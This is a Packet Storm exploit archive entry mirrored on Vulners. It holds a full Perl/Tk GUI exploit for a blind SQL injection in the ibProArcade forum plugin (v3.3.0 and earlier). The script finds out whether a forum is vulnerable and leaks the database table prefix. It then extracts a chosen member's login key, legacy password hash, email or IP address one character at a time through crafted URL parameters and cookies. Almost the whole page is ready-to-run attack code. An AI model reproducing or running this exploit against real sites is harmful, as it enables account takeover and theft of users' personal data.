Lucene search

K

ibproarcade-sql.txt

🗓️ 31 Jan 2008 00:00:00Reported by 1dt.w0lfType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

ibProArcade <= v3.3.0 sql injection exploit by RST/GHC. Path to forum index, User ID, Database tables prefix, Get data from database

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`#!/usr/bin/perl  
  
## ibProArcade <= v3.3.0 sql injection exploit  
## (c)oded by 1dt.w0lf  
## RST/GHC  
  
## THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE  
## KEEP IT PRIVATE  
  
use Tk;  
use Tk::BrowseEntry;  
use Tk::DialogBox;  
use LWP::UserAgent;  
  
BEGIN {  
if($^O eq 'MSWin32'){  
require Win32::Console;  
Win32::Console::Free();  
}  
}  
  
$mw = new MainWindow(title => "r57ibProArcade" );  
  
$mw->geometry ( '420x310' ) ;  
$mw->resizable(0,0);  
  
$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();  
$mw->Label(-text => 'ibProArcade sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();  
$mw->Label(-text => '')->pack();  
  
$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;  
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;  
  
$url = 'http://127.0.0.1/ipb216/index.php';  
$user_id = '1';  
$prefix = 'ibf_';  
$column = 'member_login_key';  
$report = '';  
$true = 0;  
$false = 0;  
  
$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;  
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;  
  
$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;  
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;  
  
$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;  
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;  
  
$fright->Label( -text => ' ')->pack();  
$fleft->Label( -text => ' ')->pack();  
  
$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;  
$fright->Label( -text => ' ')->pack();  
  
$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;  
$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');  
$b->insert("end", "member_login_key");  
$b->insert("end", "name");  
$b->insert("end", "ip_address");  
$b->insert("end", "legacy_password");  
$b->insert("end", "email");  
$b->pack( -side => "top" , -anchor => 'w' );  
  
$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;  
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;  
  
  
$fright->Label( -text => ' ')->pack();  
  
$fright->Button(-text => 'Test forum vulnerability',  
-relief => "groove",  
-width => '30',  
-font => '{Verdana} 8 bold',  
-activeforeground => 'red',  
-command => \&test_vuln  
)->pack();  
  
$fright->Button(-text => 'Get database tables prefix',  
-relief => "groove",  
-width => '30',  
-font => '{Verdana} 8 bold',  
-activeforeground => 'red',  
-command => \&get_prefix  
)->pack();  
  
$fright->Button(-text => 'Get data from database',  
-relief => "groove",  
-width => '30',  
-font => '{Verdana} 8 bold',  
-activeforeground => 'red',  
-command => \&get_data  
)->pack();  
  
  
  
$fleft->Label( -text => ' ')->pack();  
$fleft->Label( -text => '+++ PRIV8 +++', -font => '{Verdana} 7')->pack();  
$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();  
$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();  
  
MainLoop();  
  
sub get_data()  
{  
$true = &get_true();  
  
$report = '';   
$s_num=1;  
while(($chr = &found(0,255))!=0){  
$report .= chr($chr);  
$mw->update();  
$s_num++;  
}  
if(length($report) > 0) { &report('That\'s all ;)'); }  
else { &report('Can\'t get data from database'); }  
  
}  
  
sub test_vuln()  
{  
$InfoWindow=$mw->DialogBox(-title => 'test forum vulnerability', -buttons => ["OK"]);  
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;  
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;  
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;  
  
$true = &get_true();  
$false = &get_false();  
  
if($true != $false) { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }  
else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }  
  
$InfoWindow->Show();  
$InfoWindow->destroy;  
}  
  
sub get_true()  
{  
$xpl = LWP::UserAgent->new( ) or die;  
$res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=1))");  
if($res->as_string =~ /g=(\d+)" target="hiddenframe"><img src=".\/arcade\/images\/addfav.gif"/) { $rep = $1; }  
return $rep;  
}  
  
sub get_false()  
{  
$xpl = LWP::UserAgent->new( ) or die;  
$res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=2))");  
if($res->as_string =~ /g=(\d+)" target="hiddenframe"><img src=".\/arcade\/images\/addfav.gif"/) { $rep = $1; }  
return $rep;  
}  
  
sub get_prefix()  
{  
$InfoWindow=$mw->DialogBox(-title => 'get database tables prefix', -buttons => ["OK"]);  
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;  
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;  
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;  
$xpl = LWP::UserAgent->new( ) or die;  
$res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=r57r0x");  
if($res->is_success)  
{  
$rep = '';  
if($res->as_string =~ /from (.*)games_list/)  
{  
$prefix = $1;  
$InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;  
}  
else  
{  
$InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }  
}  
else  
{  
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;  
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;  
}  
$InfoWindow->Show();  
$InfoWindow->destroy;   
}  
  
sub found($$)  
{  
my $fmin = $_[0];  
my $fmax = $_[1];  
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }  
  
$r = int($fmax - ($fmax-$fmin)/2);  
$check = " BETWEEN $r AND $fmax";  
if ( &check($check) ) { &found($r,$fmax); }  
else { &found($fmin,$r); }  
}  
  
sub crack($$)  
{  
my $cmin = $_[0];  
my $cmax = $_[1];  
$i = $cmin;  
while ($i<$cmax)  
{  
$crcheck = "=$i";  
if ( &check($crcheck) ) { return $i; }  
$i++;  
}  
$i = 0;  
return $i;  
}  
  
sub check($)  
{  
$n++;  
$rep = '';  
$ccheck = $_[0];  
$xpl = LWP::UserAgent->new( ) or die;  
$res = $xpl->get($url.'?autocom=arcade',cookie=>'g_display_sort=added;g_display_order=,(-gid*(SELECT 1 FROM '.$prefix.'members WHERE (id='.$user_id.' AND ascii(substring('.$column.','.$s_num.',1))'.$ccheck.') LIMIT 1)) LIMIT 1');  
if($res->as_string =~ /g=(\d+)" target="hiddenframe"><img src=".\/arcade\/images\/addfav.gif"/) { $rep = $1; }  
if($rep == $true) { return 1; }  
else { return 0; }  
}  
  
sub report()  
{  
$InfoWindow=$mw->DialogBox(-title => 'Report', -buttons => ["OK"]);  
$InfoWindow->add('Label', -text => $_[0], -font => '{Verdana} 7')->pack;  
$InfoWindow->Show();  
$InfoWindow->destroy;  
}  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
31 Jan 2008 00:00Current
7.4High risk
Vulners AI Score7.4
20
.json
Report